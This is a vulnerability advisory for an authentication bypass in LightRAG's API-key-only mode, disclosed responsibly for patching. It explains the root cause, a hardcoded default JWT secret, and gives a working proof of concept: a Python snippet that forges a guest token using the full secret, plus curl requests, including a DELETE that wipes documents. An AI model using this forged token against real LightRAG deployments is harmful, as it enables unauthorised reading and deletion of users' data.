CVE-2026-61740

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server, an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control, no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control, wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass, offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation, DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline, GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Suggested CVSS

7.5, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413, JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.